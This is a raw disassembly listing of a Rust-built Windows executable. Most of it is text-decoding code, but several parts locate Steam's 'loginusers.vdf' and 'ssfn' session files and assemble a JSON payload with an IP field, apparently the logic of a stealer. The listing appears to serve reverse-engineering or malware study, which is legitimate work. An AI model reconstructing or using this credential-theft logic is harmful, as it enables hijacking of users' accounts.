x_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
mov rdx, qword [rax + rcx]
mov r8, qword [rax + rcx + 8]
mov rcx, r15
call fcn.140047f46
xor ecx, ecx
cmp al, 0xff
sete dl
test al, al
je 0x1400141b2
xor eax, eax
lea r14, [rsp + 0x960]
jmp 0x140013de1
mov rax, qword [rsp + 0x4e8]
mov r13, qword [rsp + 0x4f0]
lea rdx, [rsp + 0x4f8]
movups xmm0, xmmword [rdx]
movaps xmmword [rsp + 0x290], xmm0
test cl, 1
je 0x140014171
test rax, rax
je 0x14001431d
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb28], r13
movaps xmm0, xmmword [rsp + 0x290]
lea rsi, [rsp + 0x7c0]
movups xmmword [rsi + 0x370], xmm0
mov rdx, qword [rsp + 0xaf0]
mov rcx, rbp
call fcn.1400ebe06
mov rax, qword [rsp + 0x4f0]
mov ecx, 0x4000
cmp rax, rcx
cmovae rax, rcx
mov rdx, qword [rsp + 0xae0]
add rdx, qword [rsp + 0xb30]
mov rcx, 0xffffffffffffffff
cmovb rdx, rcx
add rdx, rax
cmovb rdx, rcx
lea rbx, [rsp + 0xb00]
mov rcx, rbx
call fcn.1401019e6
mov byte [rsp + 0xaf8], 0
lea rax, [rsp + 0xad0]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x4e0], xmm0
movaps xmmword [rsp + 0x4f0], xmm1
mov rcx, rbx
mov rdx, rbp
call fcn.140122d63
movdqu xmm0, xmmword [rsi + 0x360]
movups xmm1, xmmword [rsi + 0x370]
movaps xmmword [rsp + 0x4f0], xmm1
movdqa xmmword [rsp + 0x4e0], xmm0
mov rcx, rbx
mov rdx, rbp
jmp 0x1400141dc
xor esi, esi
jmp 0x140014336
mov r8, qword [rsp + 0xae0]
mov rcx, rbp
lea rdx, [rsp + 0xad0]
call fcn.14003e5ff
mov rsi, qword [rsp + 0x4e0]
mov r13, qword [rsp + 0x4e8]
lea rax, [rsp + 0x4f1]
movups xmm0, xmmword [rax - 1]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x14001431f
mov cl, dl
add rsi, rcx
cmp rsi, 0xe3
lea r14, [rsp + 0x960]
ja 0x14001860b
lea rax, [0x14026ba98]
mov rax, qword [rax + rsi*8]
jmp 0x140013de1
call fcn.140122d63
lea rdx, [rsp + 0xaf0]
mov qword [rsp + 0xb18], rdx
mov rcx, rbp
lea r8, [rsp + 0x240]
call fcn.1401214fd
cmp dword [rsp + 0x4e0], 2
jne 0x140014212
mov al, 5
jmp 0x140013eec
mov rax, qword [rsp + 0x500]
mov qword [rsp + 0x2b0], rax
movups xmm0, xmmword [rsp + 0x4e0]
movups xmm1, xmmword [rsp + 0x4f0]
movaps xmmword [rsp + 0x2a0], xmm1
movaps xmmword [rsp + 0x290], xmm0
cmp qword [rsp + 0x290], 0
je 0x1400142a4
mov rax, qword [rsp + 0x298]
mov r13, qword [rsp + 0x2a0]
test rax, rax
je 0x140014308
lea rcx, [rsp + 0x297]
movdqu xmm0, xmmword [rcx + 0x11]
lea rcx, [rsp + 0x440]
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x430], rax
mov qword [rsp + 0x438], r13
lea rcx, [rsp + 0xb00]
lea rdx, [rsp + 0x430]
jmp 0x1400141dc
je 0x1400142b3
lea rcx, [rsp + 0x298]
call fcn.1400dba03
lea rcx, [rsp + 0xb00]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x2a0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x290], xmm0
mov rcx, rbp
lea rdx, [rsp + 0x290]
call fcn.14003e25a
mov rsi, qword [rsp + 0x4e0]
mov r13, qword [rsp + 0x4e8]
lea rax, [rsp + 0x4f1]
movups xmm0, xmmword [rax - 1]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x140014336
mov rcx, qword [rsp + 0xb00]
mov rdx, qword [rsp + 0xb08]
call fcn.140173443
xor esi, esi
cmp byte [rsp + 0xaf8], 0
je 0x140014336
lea rcx, [rsp + 0xad0]
call fcn.1400dac53
mov byte [rsp + 0xaf8], 0
lea rcx, [rsp + 0xab0]
call fcn.1400dabfa
mov bl, 1
mov byte [rsp + 0xaf9], bl
lea rcx, [rsp + 0xa90]
call fcn.140122d09
mov rcx, qword [rsp + 0xa88]
call fcn.14010e89b
movdqa xmm0, xmmword [rsp + 0xb0]
movdqa xmmword [rsp + 0x120], xmm0
mov byte [rsp + 0xb40], bl
movdqa xmmword [rsp + 0x150], xmm0
mov rcx, r14
call fcn.140122cc0
test rsi, rsi
je 0x140014dda
movdqa xmm0, xmmword [rsp + 0x150]
lea rax, [rsp + 0xfb0]
movdqu xmmword [rax], xmm0
mov qword [rsp + 0xfa0], rsi
mov rsi, r13
mov qword [rsp + 0xfa8], r13
mov rbx, qword [rsp + 0x958]
mov r13, qword [rsp + 0xfb0]
mov edi, 3
mov r9d, 3
mov rcx, rsi
mov rdx, r13
lea r8, [0x140305f20]
call fcn.140019b1a
lea rcx, [0x140305f38]
test al, al
jne 0x140014451
mov edi, 2
mov r9d, 2
mov rcx, rsi
mov rdx, r13
lea r8, [0x140305f23]
call fcn.140019b1a
lea rcx, [0x140305f30]
test al, al
jne 0x140014451
mov edi, 2
mov r9d, 2
mov rcx, rsi
mov rdx, r13
lea r8, [0x140305f25]
call fcn.140019b1a
lea rcx, [0x140305f28]
test al, al
je 0x14001446f
mov rbx, qword [rcx]
mov rcx, rdi
mov rdx, rsi
mov r8, r13
lea r9, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
call fcn.14012b8cf
mov rsi, rax
mov r13, rdx
lea rax, [0x14026a220]
lea rdx, [0x14026a1d0]
lea rcx, [0x14026a1f8]
cmp rbx, rcx
je 0x1400144e4
lea rcx, [0x14026a2a8]
cmp rbx, rcx
je 0x1400144e4
cmp rbx, rdx
je 0x1400144e4
cmp rbx, rax
je 0x14001454c
lea rax, [0x140269eb8]
cmp rbx, rax
je 0x14001455f
mov eax, esi
neg eax
and eax, 7
lea rcx, [rax + 0x10]
cmp rcx, r13
jbe 0x14001458a
xor eax, eax
mov rdi, rax
cmp rdi, r13
jae 0x14001459c
cmp byte [rsi + rdi], 0
js 0x140014608
inc rdi
jmp 0x1400144cc
mov rcx, rbp
mov rdx, rbx
call fcn.140047fa2
mov rcx, rbp
mov rdx, r13
call fcn.140047fc8
mov rcx, rax
call fcn.14004812d
mov rbx, rax
mov rdi, rdx
mov rcx, rbp
mov rdx, r13
call fcn.14004815e
test bl, 1
je 0x140014527
cmp rdi, rdx
cmovb rdx, rdi
test al, 1
cmove rdx, rdi
jmp 0x14001452f
test al, 1
je 0x1400183ec
lea rcx, [rsp + 0xb0]
call fcn.1400482e7
mov rdi, qword [rsp + 0xc0]
xor r15d, r15d
jmp 0x1400146c4
mov rcx, rsi
mov rdx, r13
call fcn.140048333
mov rdi, rax
jmp 0x140014608
xor eax, eax
cmp r13, rax
je 0x14001459c
mov rdi, rax
movzx ecx, byte [rsi + rax]
test cl, cl
js 0x140014608
lea rax, [rdi + 1]
cmp ecx, 0x1b
ja 0x140014561
mov edx, 0x800c000
bt edx, ecx
jae 0x140014561
jmp 0x140014608
xor edi, edi
cmp rax, rdi
je 0x1400145ae
cmp byte [rsi + rdi], 0
js 0x140014608
inc rdi
jmp 0x14001458c
movabs rdi, 0x8000000000000000
mov rax, rdi
jmp 0x140014ccb
lea rcx, [r13 - 0x10]
mov rdx, qword [rsi + rax]
movabs r9, 0x8080808080808080
and rdx, r9
mov r8, qword [rsi + rax + 8]
and r8, r9
mov r9, r8
or r9, rdx
jne 0x1400145e1
add rax, 0x10
cmp rax, rcx
jbe 0x1400145b2
jmp 0x1400144c9
test rdx, rdx
je 0x1400145ef
bsf rdi, rdx
shr edi, 3
jmp 0x140014605
test r8, r8
je 0x1400145fa
bsf rdi, r8
jmp 0x1400145ff
mov edi, 0x40
shr edi, 3
add edi, 8
add rdi, rax
mov r14, r13
sub r14, rdi
jne 0x14001462a
movabs rdi, 0x8000000000000000
mov rax, rdi
lea r14, [rsp + 0x960]
jmp 0x140014ccb
mov rcx, rbp
mov rdx, rbx
call fcn.140047fa2
mov rcx, rbp
mov rdx, r14
call fcn.140047fc8
xor ecx, ecx
test al, 1
je 0x14001464e
add rdx, rdi
setae cl
jmp 0x14001464e
call fcn.14004812d
mov r15, rax
mov rbx, rdx
mov rcx, rbp
mov rdx, r14
call fcn.14004815e
test al, 1
je 0x140014683
add rdx, rdi
setb al
test r15b, 1
je 0x140014691
cmp rbx, rdx
cmovb rdx, rbx
test al, al
cmovne rdx, rbx
jmp 0x140014699
mov rdx, rbx
test r15b, 1
jne 0x140014699
jmp 0x140018404
test al, al
jne 0x140018404
lea rcx, [rsp + 0xb0]
call fcn.1400482e7
mov qword [rsp + 0xc0], rdi
mov rcx, qword [rsp + 0xb8]
mov rdx, rsi
mov r8, rdi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov r15, rdi
movdqu xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movaps xmmword [rsp + 0x1a0], xmm2
movaps xmmword [rsp + 0x190], xmm1
movdqa xmmword [rsp + 0x180], xmm0
mov r14, qword [rsp + 0xb0]
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x90], r15
mov rcx, r15
mov rdx, rsi
mov r8, r13
lea r9, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
call fcn.14012b8cf
mov rsi, rax
mov rbx, rdx
mov qword [rsp + 0xc0], r14
mov rdx, qword [rsp + 0xb8]
mov rcx, rdi
mov r8, r14
lea r9, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
call fcn.140104f05
mov r15, rax
mov r14, rdx
xor r13d, r13d
xor edx, edx
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], r14
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rdx
mov rcx, rdx
mov rdx, rsi
mov r8, rbx
lea r9, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
call fcn.14012b8cf
mov rbp, rax
invalid
mov r12, rdx
mov rcx, r13
mov rdx, r15
mov r8, r14
lea r9, str.C:Users_saelko.cargo_registry_srcindex.crates.io_6f17d22bba15001fencoding_rs_0.8.35_src_lib.rs
call fcn.140104f05
mov r14, rax
mov rbx, rdx
movzx eax, byte [rsp + 0x1a8]
lea r10, [0x140239150]
movsxd r9, dword [r10 + rax*4]
add r9, r10
mov al, 9
movzx eax, al
mov dh, 0xc0
mov cl, 7
movzx ecx, cl
mov dl, 6
movzx edx, dl
mov r8b, 4
movzx r8d, r8b
xor esi, esi
jmp r9
test r12, r12
je 0x140014c89
movzx r9d, byte [rbp]
cmp r9d, 0xef
je 0x140014833
cmp r9d, 0xfe
je 0x14001481e
cmp r9d, 0xff
jne case.default.0x14001481b
mov byte [rsp + 0x1a8], 7
inc rsi
movsxd r9, dword [r10 + rcx*4]
add r9, r10
jmp r9
mov byte [rsp + 0x1a8], 6
inc rsi
movsxd r9, dword [r10 + rdx*4]
add r9, r10
jmp r9
mov byte [rsp + 0x1a8], 4
inc rsi
movsxd r9, dword [r10 + r8*4]
or al, 0x82
add r9, r10
jmp r9
mov byte [rsp + 0x1a8], 9
movsxd r9, dword [r10 + rax*4]
add r9, r10
jmp r9
test r12, r12
je 0x140014c89
cmp byte [rbp], 0xef
jne case.default.0x14001487b
mov byte [rsp + 0x1a8], 4
inc rsi
movsxd r9, dword [r10 + r8*4]
add r9, r10
jmp r9
mov byte [rsp + 0x1a8], 9
movsxd r9, dword [r10 + rax*4]
add r9, r10
jmp r9
test r12, r12
je 0x140014c89
cmp byte [rbp], 0xfe
jne case.default.0x1400148b1
mov byte [rsp + 0x1a8], 6
inc rsi
movsxd r9, dword [r10 + rdx*4]
or al, 0x92
add r9, r10
jmp r9
mov byte [rsp + 0x1a8], 9
movsxd r9, dword [r10 + rax*4]
add r9, r10
jmp r9
test r12, r12
je 0x140014c89
cmp byte [rbp], 0xff
je case.default.0x1400148e4
invalid
mov byte [rsp + 0x1a8], 9
movsxd r9, dword [r10 + rax*4]
add r9, r10
jmp r9
mov byte [rsp + 0x1a8], 7
inc rsi
inc esi
movsxd r9, dword [r10 + rcx*4]
add r9, r10
jmp r9
cmp rsi, r12
jae case.default.0x140014921
cmp byte [rbp + rsi], 0xbb
jne case.default.0x140014921
mov byte [rsp + 0x1a8], 5
inc rsi
mov r9b, 5
movzx r9d, r9b
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
cmp rsi, r12
jae 0x140014b01
cmp byte [rbp + rsi], 0xbf
jne 0x140014b01
mov byte [rsp + 0x1a8], 9
lea rcx, [0x14026a220]
cmp qword [rsp + 0x1a0], rcx
lea r15, [rsp + 0x180]
add dword [rax], eax
add byte [rdi], cl
test byte [rcx], cl
add al, byte [rax]
invalid
mov qword [rsp + 0x1a0], rcx
mov rcx, r15
mov dl, 1
jmp 0x140014b5e
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov byte [rsp + 0x38], 0xef
jmp 0x140014a4b
cmp rsi, r12
jae 0x140014a37
cmp byte [rbp + rsi], 0xfe
jne 0x140014a37
mov byte [rsp + 0x1a8], 9
lea rcx, [0x14026a1f8]
invalid
invalid
cmp qword [rsp + 0x1a0], rcx
lea r15, [rsp + 0x180]
je 0x140014b66
invalid
mov qword [rsp + 0x1a0], rcx
mov rcx, r15
mov dl, 0xb
jmp 0x140014b5e
cmp rsi, r12
jae 0x1400149e3
cmp byte [rbp + rsi], 0xff
je 0x140014b30
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov byte [rsp + 0x38], 0xfe
jmp 0x140014a4b
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov byte [rsp + 0x38], 0xbb
and qword [rsp + 0x30], 0
jmp 0x140014a4b
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0x290]
lea rdx, [rsp + 0x180]
mov r8, rbp
mov r9, r12
call fcn.140048710
jmp 0x140014a66
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
mov byte [rsp + 0x38], 0xff
lea rcx, [rsp + 0x290]
lea rdx, [rsp + 0x180]
mov r8, rbp
mov r9, r12
call fcn.1400485e8
mov rdx, qword [rsp + 0xa0]
add rdx, qword [rsp + 0x290]
mov al, byte [rsp + 0x298]
add r13, qword [rsp + 0x2a0]
cmp al, 2
mov rbp, qword [rsp + 0x48]
mov r12, qword [rsp + 0x78]
lea r14, [rsp + 0x960]
mov rsi, qword [rsp + 0xa8]
jb 0x140014b93
mov r14, qword [rsp + 0x88]
cmp r13, r14
jae 0x14001823b
mov r15, qword [rsp + 0x98]
mov byte [r15 + r13], 0xef
lea rcx, [r13 + 1]
cmp rcx, r14
mov rsi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x80]
jae 0x140018247
mov byte [r15 + r13 + 1], 0xbf
lea rcx, [r13 + 2]
cmp rcx, r14
jae 0x140018250
mov byte [r15 + r13 + 2], 0xbd
add r13, 3
jmp 0x140014771
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0x290]
lea rdx, [rsp + 0x180]
mov r8, rbp
mov r9, r12
call fcn.140048768
jmp 0x140014a66
mov byte [rsp + 0x1a8], 9
lea rcx, [0x14026a1d0]
cmp qword [rsp + 0x1a0], rcx
lea r15, [rsp + 0x180]
je 0x140014b66
mov qword [rsp + 0x1a0], rcx
mov rcx, r15
mov dl, 0xa
xor r8d, r8d
call fcn.1400488d6
inc rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0x290]
mov rdx, r15
mov r8, rbp
mov r9, r12
call fcn.14004896e
jmp 0x140014a66
add rdi, r13
mov qword [rsp + 0xc0], rdi
test al, 1
je 0x140014ca6
mov r15, qword [rsp + 0x90]
add r15, rdx
mov r13, qword [rsp + 0x68]
mov rdx, r13
sub rdx, r15
lea rcx, [rsp + 0x180]
call fcn.14004815e
test al, 1
je 0x140018684
mov rbx, rdx
mov r14, qword [rsp + 0xb0]
mov rax, r14
sub rax, rdi
cmp rax, rdx
jae 0x140014704
add rbx, rdi
jb 0x140018690
lea rax, [r14 + r14]
cmp rax, rbx
cmova rbx, rax
cmp rbx, 9
mov eax, 8
cmovb rbx, rax
test rbx, rbx
js 0x140018690
test r14, r14
je 0x140014c39
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x2a0], r14
mov eax, 1
jmp 0x140014c3b
xor eax, eax
mov qword [rsp + 0x298], rax
lea rcx, [rsp + 0x430]
mov rdx, rbx
lea r8, [rsp + 0x290]
call fcn.140047ec3
cmp dword [rsp + 0x430], 1
je 0x140018708
mov rax, qword [rsp + 0x438]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xb0], rbx
mov r14, rbx
jmp 0x140014704
add rdi, r13
mov qword [rsp + 0xc0], rdi
mov rbp, qword [rsp + 0x48]
mov r12, qword [rsp + 0x78]
lea r14, [rsp + 0x960]
mov rax, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0xb8]
mov r13, rdi
movabs rdi, 0x8000000000000000
lea r15, [rsp + 0x180]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rsi
mov qword [rsp + 0x100], r13
mov rcx, rbp
lea rdx, [rsp + 0xf0]
call fcn.14012a831
mov rbx, qword [rsp + 0x4e0]
mov r13, qword [rsp + 0x4e8]
mov rsi, qword [rsp + 0x4f0]
lea rcx, [rsp + 0xfa0]
call fcn.1400dac53
lea rcx, [rsp + 0x900]
call fcn.14010d8e0
mov byte [rsp + 0xb48], 1
movabs rax, 0x8000000000000001
cmp rbx, rax
mov ecx, dword [rsp + 0x70]
jne 0x140014d9b
cmp ecx, 0x3b9aca00
jne 0x140014d4f
call fcn.140132160
jmp 0x140014d8f
mov ebx, ecx
call fcn.140131700
mov rsi, rax
mov edi, edx
mov rcx, rax
mov r8, r12
mov r9d, ebx
call fcn.140121b57
test al, al
jne 0x140014da5
mov rcx, r12
mov edx, ebx
mov r8, rsi
mov r9d, edi
call fcn.140168a5c
mov rcx, rax
call fcn.140132290
movabs rdi, 0x8000000000000000
mov al, byte [rsp + 0xb48]
jmp 0x140012fed
mov rax, rbx
neg rax
jo 0x140014e03
jmp 0x140014e06
movzx eax, byte [rsp + 0xb48]
test eax, eax
je 0x140014de9
cmp eax, 3
movabs rdi, 0x8000000000000000
jne 0x140014dd5
mov rcx, r14
call fcn.140122cc0
lea rcx, [rsp + 0x900]
call fcn.14010d8e0
xor r13d, r13d
jmp 0x140014e03
lea rcx, [rsp + 0x900]
call fcn.14010d8e0
jmp 0x140014e03
lea rcx, [rsp + 0x7c0]
call fcn.14010e874
xor r13d, r13d
movabs rdi, 0x8000000000000000
mov rbx, rdi
mov rax, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x278]
call qword [rax + 0x18]
cmp rbx, rdi
jne 0x140014e35
mov rbx, rdi
test r13, r13
jne 0x140014e35
mov cx, 5
call fcn.1400dc535
mov r13, rax
mov rbx, rdi
mov rdi, qword [rsp + 0xd58]
test rdi, rdi
je 0x140014e6c
mov r14, qword [rsp + 0xd60]
mov rax, qword [r14]
test rax, rax
je 0x140014e57
mov rcx, rdi
call rax
mov r8, qword [r14 + 8]
test r8, r8
je 0x140014e6c
mov rdx, qword [r14 + 0x10]
mov rcx, rdi
call fcn.1400072fc
cmp qword [rsp + 0xd68], 0
je 0x140014e84
lea rcx, [rsp + 0xd68]
call fcn.140121d34
movabs rax, 0x8000000000000000
cmp rbx, rax
je 0x1400185f7
mov qword [rsp + 0x390], rbx
mov qword [rsp + 0x398], r13
mov qword [rsp + 0x3a0], rsi
mov rbx, qword [rsp + 0x1170]
cmp rbx, rax
je 0x14001519e
lea rdx, [rsp + 0x1178]
lea rsi, [rsp + 0xfa8]
mov r8d, 0x88
mov rcx, rsi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov qword [rsp + 0x330], rbx
mov qword [rsi - 8], rbx
mov rdi, qword [rsi]
mov rbx, qword [rsi + 8]
mov rcx, rbx
call fcn.140006f8c
mov r14, rax
mov r15, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov qword [rsp + 0x418], r14
mov qword [rsp + 0x420], r15
mov qword [rsp + 0x428], rbx
mov rdi, qword [rsi + 0x18]
mov rbx, qword [rsi + 0x20]
mov rcx, rbx
call fcn.140006f8c
mov r14, rax
mov r15, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov qword [rsp + 0x3c0], r14
mov qword [rsp + 0x3c8], r15
mov qword [rsp + 0x3d0], rbx
mov rdi, qword [rsi + 0x30]
mov rbx, qword [rsi + 0x38]
mov rcx, rbx
call fcn.140006f8c
mov r14, rax
mov r15, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov qword [rsp + 0x3e0], r14
mov qword [rsp + 0x3e8], r15
mov qword [rsp + 0x3f0], rbx
mov rdi, qword [rsi + 0x48]
mov rbx, qword [rsi + 0x50]
mov rcx, rbx
call fcn.140006f8c
mov r14, rax
mov r15, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov qword [rsp + 0x3a8], r14
mov qword [rsp + 0x3b0], r15
mov qword [rsp + 0x3b8], rbx
mov rdi, qword [rsi + 0x60]
mov rbx, qword [rsi + 0x68]
mov rcx, rbx
call fcn.140006f8c
mov r14, rax
mov r15, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov qword [rsp + 0x270], r14
mov qword [rsp + 0x278], r15
mov qword [rsp + 0x280], rbx
mov rdi, qword [rsi + 0x78]
mov rsi, qword [rsi + 0x80]
mov rcx, rsi
call fcn.140006f8c
mov rbx, rax
mov r14, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rsi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
and qword [rsp + 0x150], 0
mov r13d, 1
mov qword [rsp + 0x158], r13
and qword [rsp + 0x160], 0
mov qword [rsp + 0x120], rbx
and qword [rsp + 0x210], 0
mov qword [rsp + 0x218], r13
and qword [rsp + 0x220], 0
mov qword [rsp + 0x128], r14
mov qword [rsp + 0x130], rsi
mov rdi, qword [rsp + 0x758]
mov rbx, qword [rsp + 0x760]
lea rsi, [rsp + 0x7c0]
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call fcn.140001f96
mov r14, qword [rsi]
cmp r14, 2
sete byte [rsp + 0xe0]
mov rcx, rsi
call fcn.1400065eb
cmp r14d, 2
je 0x140015692
mov ecx, 0x20
call fcn.140006e25
mov rsi, rax
mov qword [rsp + 0x20], 6
lea r9, str.confignfastride2start_mapclassesquitsetcache_capacity
lea r14, [rsp + 0x7c0]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.140156990
mov r15, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
mov qword [rsp + 0x20], 0xe
lea r9, str.loginusers.vdf
lea r12, [rsp + 0x4e0]
mov rcx, r12
mov rdx, r15
call fcn.140156990
movdqu xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movups xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
mov qword [rsp + 0x430], r13
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x438], rsi
mov qword [rsp + 0x440], r13
mov rcx, qword [r14]
mov rdx, r15
call fcn.140173443
mov r14, qword [rsp + 0x750]
lea r15, [rsp + 0x7c0]
mov rcx, r15
mov rdx, rdi
mov r8, rbx
call fcn.140159f50
mov esi, dword [r15 + 0x10]
mov rbx, qword [r15]
cmp esi, 2
jne 0x14001520a
jmp 0x140015229
lea rsi, [rsp + 0x7c0]
lea rdx, [rsp + 0x4c8]
mov rcx, rsi
call fcn.140008913
and qword [rsp + 0xfa0], 0
cmp dword [rsi], 2
je 0x140017d91
lea rdx, str.Content_Typeapplication_json_content_:_____IP:_____
lea rsi, [rsp + 0x180]
mov r8d, 0xc
mov rcx, rsi
call fcn.140061af6
test byte [rsi], 1
je 0x140016413
mov cl, 4
call fcn.140121994
mov rsi, rax
lea rcx, [rsp + 0xfa0]
call fcn.1400064a5
jmp 0x14001648b
lea rdx, [rsp + 0x7d4]
mov r15, qword [rdx - 0xc]
lea rcx, [rsp + 0x4e0]
mov r8d, 0x254
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, r14
mov rdx, rdi
call fcn.140173443
cmp esi, 2
je 0x140018695
lea rdi, [rsp + 0x7d4]
lea r14, [rsp + 0x4e0]
mov r8d, 0x254
mov rcx, rdi
mov rdx, r14
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov qword [rdi - 0x14], rbx
mov qword [rdi - 0xc], r15
mov dword [rdi - 4], esi
mov rcx, r14
mov r14d, 1
lea rbx, [rsp + 0xcc0]
lea r15, [rsp + 0x7c0]
lea r12, [rsp + 0x1038]
lea r13, [rsp + 0xcb0]
lea rbp, str.ssfn
mov rsi, qword [rsp + 0x58]
mov rdx, r15
call fcn.1401539e0
test byte [rsp + 0x4e0], 1
je 0x1400153c3
mov rcx, qword [rsp + 0x4e8]
mov rax, qword [rsp + 0x4f0]
test rcx, rcx
je 0x14001825f
mov qword [rsp + 0xcb0], rcx
mov qword [rsp + 0xcb8], rax
mov r8d, 0x248
mov rcx, rbx
lea rdx, [rsp + 0x4f8]
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, r12
mov rdx, r13
call fcn.140153c90
mov rcx, r13
call fcn.140006446
mov rdi, qword [rsp + 0x1040]
mov rdx, qword [rsp + 0x1048]
mov rcx, rdi
call fcn.140156800
test rax, rax
je 0x140018276
mov rcx, rax
call fcn.140002c33
test rax, rax
je 0x140018282
mov r9d, 4
mov rcx, rax
mov r8, rbp
call fcn.140019b1a
test al, al
je 0x1400153a6
cmp r14, qword [rsp + 0x430]
jne 0x14001536c
lea rcx, [rsp + 0x430]
call fcn.140006ed2
mov rsi, qword [rsp + 0x438]
mov rax, r14
shl rax, 5
movdqu xmm0, xmmword [rsp + 0x1038]
movups xmm1, xmmword [rsp + 0x1048]
movups xmmword [rsi + rax + 0x10], xmm1
movdqu xmmword [rsi + rax], xmm0
inc r14
mov qword [rsp + 0x440], r14
lea rcx, [rsp + 0x4e0]
jmp 0x14001529e
mov rcx, qword [rsp + 0x1038]
mov rdx, rdi
call fcn.140173443
lea rcx, [rsp + 0x4e0]
jmp 0x14001529e
lea rcx, [rsp + 0x7c0]
call fcn.1400057f1
mov rax, qword [rsp + 0x430]
mov qword [rsp + 0x78], rax
lea rdi, [rsp + 0x7c0]
mov rcx, rdi
call fcn.140173525
mov word [rdi + 0x20], 4
movdqu xmm0, xmmword [rdi + 8]
movdqa xmmword [rsp + 0xcb0], xmm0
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0xcd0], rax
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0xcc0], rax
movzx eax, word [rdi + 0x20]
mov word [rsp + 0xcc8], ax
mov eax, dword [rdi + 0x22]
mov dword [rsp + 0xcca], eax
movzx eax, word [rdi + 0x26]
mov word [rsp + 0xcce], ax
lea rcx, [rsp + 0x7c0]
lea rdx, [rsp + 0x150]
call fcn.1400045bf
shl r14, 5
lea r13, [rsi + r14]
mov rbx, r14
lea r14, [rsp + 0x4e8]
lea r12, [rsi + 0x20]
xorps xmm6, xmm6
mov qword [rsp + 0x58], rsi
mov r15, rsi
mov qword [rsp + 0x48], rbx
test rbx, rbx
movabs rax, 0x8000000000000000
je 0x14001561e
mov rbp, qword [r15]
cmp rbp, rax
je 0x140015621
mov rbx, qword [r15 + 8]
mov qword [rsp + 0x50], r15
mov r15, qword [r15 + 0x10]
and qword [rsp + 0x290], 0
mov qword [rsp + 0x298], 1
and qword [rsp + 0x2a0], 0
mov rcx, rbx
mov rdx, r15
call fcn.140002c33
test rax, rax
je 0x140018313
mov r9, rdx
movabs rcx, 0xa00000001
mov qword [rsp + 0x4e0], rcx
mov rcx, qword [rsp + 0xcd0]
mov qword [r14 + 0x20], rcx
movdqa xmm0, xmmword [rsp + 0xcb0]
